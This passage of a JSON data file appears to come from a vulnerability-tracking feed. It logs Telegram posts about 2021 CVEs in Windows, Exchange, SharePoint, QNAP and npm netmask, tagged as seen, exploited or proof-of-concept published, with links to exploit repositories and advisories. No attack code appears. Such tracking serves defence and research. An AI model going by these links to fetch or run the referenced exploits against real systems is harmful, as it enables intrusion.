"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28128", "type": "published-proof-of-concept", "source": "Telegram/4zb6JUU4YAhTzD-QT0NTZ3JpYz60IsmyTMoni0cq8sY2uAU", "content": "", "creation_timestamp": "2021-05-07T17:47:24.000000Z"}, {"uuid": "d5df1821-4bda-45b7-a420-d7afdf237df3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/theninjaway1337/782", "content": "Vulnerabilidade in\u00e9dita \u00e9 encontrada no Desktop Window Manager do Windows 10\n\nA\u00a0Kaspersky\u00a0acaba de emitir um alerta a respeito de uma nova vulnerabilidade cr\u00edtica encontrada por seus pesquisadores no Desktop Window Manager, componente essencial do Windows respons\u00e1vel por renderizar as janelas que usamos no sistema operacional. O bug foi encontrado acidentalmente por especialistas da companhia em fevereiro deste ano enquanto eles estudavam outra falha conhecida; este novo problema foi ent\u00e3o encaminhado \u00e0\u00a0Microsoft\u00a0e catalogado pelo c\u00f3digo CVE-2021-28310.\n\nhttps://canaltech.com.br/seguranca/vulnerabilidade-inedita-e-encontrada-no-desktop-window-manager-do-windows-10-182687/\n\n#zeroday #windows #lpe", "creation_timestamp": "2021-04-14T22:21:53.000000Z"}, {"uuid": "7d5b655e-6002-4957-9cb6-f2e3c010181f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "published-proof-of-concept", "source": "https://t.me/HackerOne/3003", "content": "Airstrike Attack - FDE bypass and EoP on domain joined Windows workstations (CVE-2021-28316) https://shenaniganslabs.io/2021/04/13/Airstrike.html", "creation_timestamp": "2021-05-13T15:51:27.000000Z"}, {"uuid": "549e4a66-6105-42c9-86f2-d6175ca57451", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28474", "type": "seen", "source": "https://t.me/HackerOne/3083", "content": "Microsoft SharePoint Server Remote Code Execution Vulnerability\n\nIn a network-based attack, an authenticated attacker can gain access to create a site and could execute code remotely within the Sharepoint Server.\n\nSecurity updates:\n\nhttps://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28474", "creation_timestamp": "2021-07-12T19:32:00.000000Z"}, {"uuid": "ecb84fa4-babf-4935-b3bb-26bdba2717eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "published-proof-of-concept", "source": "https://t.me/HackerOne/3161", "content": "https://github.com/lntrx/CVE-2021-28663", "creation_timestamp": "2021-09-03T19:40:06.000000Z"}, {"uuid": "1d3d138c-2440-4771-8a7b-71a99c777a24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28372", "type": "seen", "source": "https://t.me/thehackernews/1452", "content": "FireEye has disclosed a new critical vulnerability (CVE-2021-28372) in the ThroughTek Kalay P2P SDK that could allow remote attackers to take control of affected devices, spy on camera audio and video feeds, and compromise device credentials.\n\nhttps://thehackernews.com/2021/08/critical-throughtek-sdk-bug-could-let.html", "creation_timestamp": "2021-08-18T17:52:52.000000Z"}, {"uuid": "1a3cc8a9-9780-448b-bb69-5283df6a5fd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/haccking/6460", "content": "#\u041e\u0431\u0443\u0447\u0435\u043d\u0438\u0435\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043e\u043a\u043e\u043d \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430 (CVE-2021-28310)", "creation_timestamp": "2021-07-03T12:00:10.000000Z"}, {"uuid": "4e0f16a3-2e96-497a-be37-6803f00ef946", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28312", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3316", "content": "#exploit\nCVE-2021-28312:\nWindows 10 1809/1909/2004/20H2, Server 2019 - NTFS DoS Vulnerability\nhttps://github.com/shubham0d/CVE-2021-28312", "creation_timestamp": "2024-10-04T15:08:09.000000Z"}, {"uuid": "66e81a87-6ad0-4fcf-8626-14e55d43cdcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28483", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3279", "content": "#Analytics\nTop 10 Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\nhttps://t.me/cybersecuritytechnologies/1515\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\nCVE-2021-22893 Pulse SecureVPN RCE\nhttps://t.me/cybersecuritytechnologies/3185\nCVE-2021-28310 - Win32k EoP Vulnerability\nhttps://t.me/cybersecuritytechnologies/3124\nCVE-2021-26411 - IE mshtml UAF\nhttps://t.me/cybersecuritytechnologies/2908\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\nhttps://t.me/cybersecuritytechnologies/3126\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\nhttps://t.me/cybersecuritytechnologies/3156\nCVE-2021-28480/28482 - MS Exchange Server RCE\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2024-04-30T17:11:44.000000Z"}, {"uuid": "1d660896-5048-44bb-8885-052ab3bf2d7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28797", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3114", "content": "#Threat_Research\nMemory corruption vulnerability in QNAP QTS\u2019s Surveillance Station plugin leads to a pre-auth RCE\n(PoC for CVE-2021-28797)\nhttps://ssd-disclosure.com/ssd-advisory-qnap-pre-auth-cgi_find_parameter-rce", "creation_timestamp": "2021-04-13T11:01:11.000000Z"}, {"uuid": "e8e342d1-5358-4ada-8cba-a941cfe182ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28144", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/2921", "content": "#WLAN_Security\nCVE-2021-28144:\nD-Link DIR-3060 <=1.11b04 - Auth Command Injection (PoC)\nhttps://www.iot-inspector.com/blog/advisory-d-link-dir-3060\nhttps://packetstormsecurity.com/files/161757/D-Link-DIR-3060-1.11b04-Command-Injection.html \n+ Realtek WLAN Utility 700.16x - Unquoted Service Path\nhttps://packetstormsecurity.com/files/161784/realtekwlu7001631-unquotedpath.txt", "creation_timestamp": "2021-03-17T11:01:15.000000Z"}, {"uuid": "338c63ef-f3a4-4c39-a2d9-e6624866c259", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "exploited", "source": "https://t.me/CyberSecurityTechnologies/3286", "content": "#exploit\nCVE-2021-28482:\nMS Exchange Server RCE Vulnerability (PoC)\nhttps://gist.github.com/testanull/9ebbd6830f7a501e35e67f2fcaa57bda\n]-> https://github.com/Shadow0ps/CVE-2021-28482-Exchange-POC/blob/main/Proof-Of-Concept.py", "creation_timestamp": "2024-10-04T15:10:04.000000Z"}, {"uuid": "8faa721d-8871-497f-a562-0365bb6b6a71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28460", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3145", "content": "#Threat_Research\nMultiple RCE vulnerabilities in MS Azure Sphere (PoC for CVE-2021-27047, CVE-2021-27080, CVE-2021-28460)\nhttps://blog.talosintelligence.com/2021/04/vuln-spotlight-azure-sphere-april-2021.html", "creation_timestamp": "2022-06-03T18:51:45.000000Z"}, {"uuid": "87c92f98-9abd-42d9-897d-b65dd8fc6035", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3154", "content": "#Threat_Research\n1. Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310)\nhttps://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898\n2. Bugs in a Popular Third-Party Ethernet/IP Protocol Stack (CVE-2021-27478, CVE-2021-27482, CVE-2021-27498, CVE-2021-27500)\nhttps://www.claroty.com/2021/04/15/blog-research-fuzzing-and-pring\n3. New Vulnerability Affecting Container Engines CRI-O/Podman (CVE-2021-20291)\nhttps://unit42.paloaltonetworks.com/cve-2021-20291", "creation_timestamp": "2021-04-18T14:31:16.000000Z"}, {"uuid": "c15745d6-5af2-4aae-ac49-9993173cf62d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28918", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3014", "content": "CVE-2021-28918:\nServer-Side Request Forgery (SSRF)\nin Netmask package for npm <=1.1.0 (PoC)\nhttps://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md", "creation_timestamp": "2021-03-30T11:01:07.000000Z"}, {"uuid": "7ccf4b7d-163f-4707-a765-0bcd515814b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3159", "content": "#Analytics\n10 most exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\nhttps://t.me/cybersecuritytechnologies/1515\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\nhttps://t.me/cybersecuritytechnologies/3124\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\nhttps://t.me/cybersecuritytechnologies/3126\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\nhttps://t.me/cybersecuritytechnologies/3156", "creation_timestamp": "2021-04-19T11:01:18.000000Z"}, {"uuid": "680f9155-2e2b-46e8-a0a2-c6c53018a112", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28481", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3159", "content": "#Analytics\n10 most exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\nhttps://t.me/cybersecuritytechnologies/1515\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\nhttps://t.me/cybersecuritytechnologies/3124\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\nhttps://t.me/cybersecuritytechnologies/3126\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\nhttps://t.me/cybersecuritytechnologies/3156", "creation_timestamp": "2021-04-19T11:01:18.000000Z"}, {"uuid": "031bbde5-a76f-4da8-a395-787e931443da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28480", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3159", "content": "#Analytics\n10 most exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\nhttps://t.me/cybersecuritytechnologies/1515\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\nhttps://t.me/cybersecuritytechnologies/3124\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\nhttps://t.me/cybersecuritytechnologies/3126\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\nhttps://t.me/cybersecuritytechnologies/3156", "creation_timestamp": "2021-04-19T11:01:18.000000Z"}, {"uuid": "a5936e2c-b2d3-42dc-acce-674577fc32d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28918", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3057", "content": "#Analytics\n10 most exploited vulnerabilities of the week (March 29 - April 4)\nCVE-2021-26855 - ProxyLogon MS Exchange Server RCE\nhttps://t.me/cybersecuritytechnologies/2835\nCVE-2021-3449/3450 - OpenSSL DoS/certificate validation\nhttps://t.me/cybersecuritytechnologies/2993\nhttps://thehackernews.com/2021/03/openssl-releases-patches-for-2-high.html\nCVE-2021-21975/CVE-2021-21983 - SSRF in VMWare vRealize Operations Manager API\nhttps://t.me/cybersecuritytechnologies/3039\nCVE-2019-8761 - macOS bug that lets attackers execute HTML within a TXT file\nhttps://www.paulosyibelo.com/2021/04/this-man-thought-opening-txt-file-is.html\nCVE-2021-26411 - IE mshtml UAF\nhttps://t.me/cybersecuritytechnologies/2908\nCVE-2021-28918 - SSRF in Netmask package\nhttps://t.me/cybersecuritytechnologies/3014\nCVE-2020-25078 - D-Link psw disclosure\nhttps://t.me/cybersecuritytechnologies/3055\nCVE-2021-1656 - Windows tpm.sys Device Driver Information Disclosure\nhttps://t.me/cybersecuritytechnologies/3028", "creation_timestamp": "2022-06-01T02:32:51.000000Z"}, {"uuid": "86e1ee20-96f1-4c01-b5ab-15112e412b35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "exploited", "source": "https://t.me/CyberSecurityTechnologies/3124", "content": "#Threat_Research\n1. Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild\nhttps://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898\n]-> Malicious Payloads that abuses Win32k Elevation of Privilege Vulnerability:\nhttps://github.com/Rafael-Svechinskaya/IOC_for_CVE-2021-28310\n2. From 0 to RCE: Cockpit CMS (PoCs)\nhttps://swarm.ptsecurity.com/rce-cockpit-cms", "creation_timestamp": "2021-04-14T20:51:33.000000Z"}, {"uuid": "e6aafae8-b634-4f6a-bad8-7699235bf3f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28322", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3220", "content": "#Threat_Research\n1. RCE via unsafe inline Kramdown options when rendering certain Wiki pages\nhttps://hackerone.com/reports/1125425\n2. PoC code about the Microsoft Diaghub case sensitivity EoP vulnerability (CVE-2021-28321, CVE-2021-28322, CVE-2021-28313)\nhttps://github.com/irsl/microsoft-diaghub-case-sensitivity-eop-cve\n3. The peculiar case of HTML Injection\nhttps://infosecwriteups.com/the-peculiar-case-of-html-injection-d14db8440e3", "creation_timestamp": "2024-08-18T14:42:05.000000Z"}, {"uuid": "ecbb1f21-fcc5-48ee-b022-a5faf752a944", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28316", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3156", "content": "#Offensive_security\nAirstrike Attack - FDE bypass and EoP on domain joined Windows workstations/Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability (CVE-2021-28316)\nhttps://shenaniganslabs.io/2021/04/13/Airstrike.html", "creation_timestamp": "2021-04-19T05:46:34.000000Z"}, {"uuid": "953349a3-c654-46c2-a667-1cb089f465ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28483", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3159", "content": "#Analytics\n10 most exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\nhttps://t.me/cybersecuritytechnologies/1515\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\nhttps://t.me/cybersecuritytechnologies/3124\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\nhttps://t.me/cybersecuritytechnologies/3126\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\nhttps://t.me/cybersecuritytechnologies/3156", "creation_timestamp": "2021-04-19T11:01:18.000000Z"}, {"uuid": "a620da29-adcf-45de-b32b-330d256d1aba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3159", "content": "#Analytics\n10 most exploited vulnerabilities of the week (April 12-18)\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\nhttps://t.me/cybersecuritytechnologies/1515\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\nCVE-2021-1647 - MS Defender RCE Vulnerability\nhttps://www.anquanke.com/post/id/231625\nCVE-2021-28310 - Win32k Elevation of Privilege Vulnerability\nhttps://t.me/cybersecuritytechnologies/3124\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\nhttps://t.me/cybersecuritytechnologies/3126\nCVE-2021-28480/28481/28482/28483 - MS Exchange Server RCE Vulnerability\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\nhttps://t.me/cybersecuritytechnologies/3156", "creation_timestamp": "2021-04-19T11:01:18.000000Z"}, {"uuid": "88b50da5-1b0a-46d0-9fb7-46134e2bd84a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28091", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3527", "content": "#Threat_Research\n1. Technical analysis of two RCE in Grav CMS 1.7.10 (CVE-2021-29439, CVE-2021-29440)\nhttps://blog.sonarsource.com/grav-cms-code-execution-vulnerabilities\n2. Akamai EAA Impersonation Vulnerability\n(PoC for CVE-2021-28091)\nhttps://blogs.akamai.com/2021/06/akamai-eaa-impersonation-vulnerability---a-deep-dive.html", "creation_timestamp": "2021-06-03T11:03:01.000000Z"}, {"uuid": "ec81a461-5b3d-468f-9339-2c3bba859d52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28313", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3220", "content": "#Threat_Research\n1. RCE via unsafe inline Kramdown options when rendering certain Wiki pages\nhttps://hackerone.com/reports/1125425\n2. PoC code about the Microsoft Diaghub case sensitivity EoP vulnerability (CVE-2021-28321, CVE-2021-28322, CVE-2021-28313)\nhttps://github.com/irsl/microsoft-diaghub-case-sensitivity-eop-cve\n3. The peculiar case of HTML Injection\nhttps://infosecwriteups.com/the-peculiar-case-of-html-injection-d14db8440e3", "creation_timestamp": "2024-08-18T14:42:05.000000Z"}, {"uuid": "1b84e4dc-f55e-42bd-93e9-0ebd8c6f0c3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28321", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/3220", "content": "#Threat_Research\n1. RCE via unsafe inline Kramdown options when rendering certain Wiki pages\nhttps://hackerone.com/reports/1125425\n2. PoC code about the Microsoft Diaghub case sensitivity EoP vulnerability (CVE-2021-28321, CVE-2021-28322, CVE-2021-28313)\nhttps://github.com/irsl/microsoft-diaghub-case-sensitivity-eop-cve\n3. The peculiar case of HTML Injection\nhttps://infosecwriteups.com/the-peculiar-case-of-html-injection-d14db8440e3", "creation_timestamp": "2024-08-18T14:42:05.000000Z"}, {"uuid": "fdf9fd07-486f-4c22-892d-b9f9e49eeaf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3279", "content": "#Analytics\nTop 10 Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\nhttps://t.me/cybersecuritytechnologies/1515\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\nCVE-2021-22893 Pulse SecureVPN RCE\nhttps://t.me/cybersecuritytechnologies/3185\nCVE-2021-28310 - Win32k EoP Vulnerability\nhttps://t.me/cybersecuritytechnologies/3124\nCVE-2021-26411 - IE mshtml UAF\nhttps://t.me/cybersecuritytechnologies/2908\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\nhttps://t.me/cybersecuritytechnologies/3126\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\nhttps://t.me/cybersecuritytechnologies/3156\nCVE-2021-28480/28482 - MS Exchange Server RCE\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2024-04-30T17:11:44.000000Z"}, {"uuid": "a91a061f-af68-4b23-931f-8ba54c80ac23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28481", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3279", "content": "#Analytics\nTop 10 Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\nhttps://t.me/cybersecuritytechnologies/1515\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\nCVE-2021-22893 Pulse SecureVPN RCE\nhttps://t.me/cybersecuritytechnologies/3185\nCVE-2021-28310 - Win32k EoP Vulnerability\nhttps://t.me/cybersecuritytechnologies/3124\nCVE-2021-26411 - IE mshtml UAF\nhttps://t.me/cybersecuritytechnologies/2908\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\nhttps://t.me/cybersecuritytechnologies/3126\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\nhttps://t.me/cybersecuritytechnologies/3156\nCVE-2021-28480/28482 - MS Exchange Server RCE\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2024-04-30T17:11:44.000000Z"}, {"uuid": "051718d2-6e64-4d33-a23c-f5df20409682", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28480", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3279", "content": "#Analytics\nTop 10 Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\nhttps://t.me/cybersecuritytechnologies/1515\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\nCVE-2021-22893 Pulse SecureVPN RCE\nhttps://t.me/cybersecuritytechnologies/3185\nCVE-2021-28310 - Win32k EoP Vulnerability\nhttps://t.me/cybersecuritytechnologies/3124\nCVE-2021-26411 - IE mshtml UAF\nhttps://t.me/cybersecuritytechnologies/2908\nCVE-2021-22204 - DjVu improper neutralization of user data\nhttps://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031#diff-fa0d652d10dbcd246e6b1df16c1e992931d3bb717a7e36157596b76bdadb3800\nCVE-2021-24027 - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp\nhttps://t.me/cybersecuritytechnologies/3126\nCVE-2021-28316 - Windows WLAN AutoConfig Service Security Feature Bypass Vulnerability\nhttps://t.me/cybersecuritytechnologies/3156\nCVE-2021-28480/28482 - MS Exchange Server RCE\nhttps://www.tenable.com/blog/cve-2021-28480-cve-2021-28481-cve-2021-28482-cve-2021-28483-four-critical-microsoft-exchange", "creation_timestamp": "2024-04-30T17:11:44.000000Z"}, {"uuid": "4fdbbeda-e262-4f28-a58c-15774f066d9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/3279", "content": "#Analytics\nTop 10 Most Used Vulnerabilities of the Month (April 1-30)\n\nCVE-2020-13379 - Unauth Full-Read SSRF in Grafana\nhttps://t.me/cybersecuritytechnologies/1515\nCVE-2021-24086 - Win IPv4/6 Stack RCE/DoS Vulns\nhttps://unit42.paloaltonetworks.com/cve-2021-24074-patch-tuesday\nCVE-2021-22893 Pulse SecureVPN RCE\nhttps://t.me/cybersecuritytechnologies/3185\nCVE-2021-28310 - Win32k EoP Vulnerability\nhttps://t.me/cybersecuritytechnologies/3124\nCVE-2021-26411 - IE mshtml UAF\nhttps://t.me/cybersecuritytechnologies/2908\nCVE-2021-22204 - DjVu improper neutralization of user 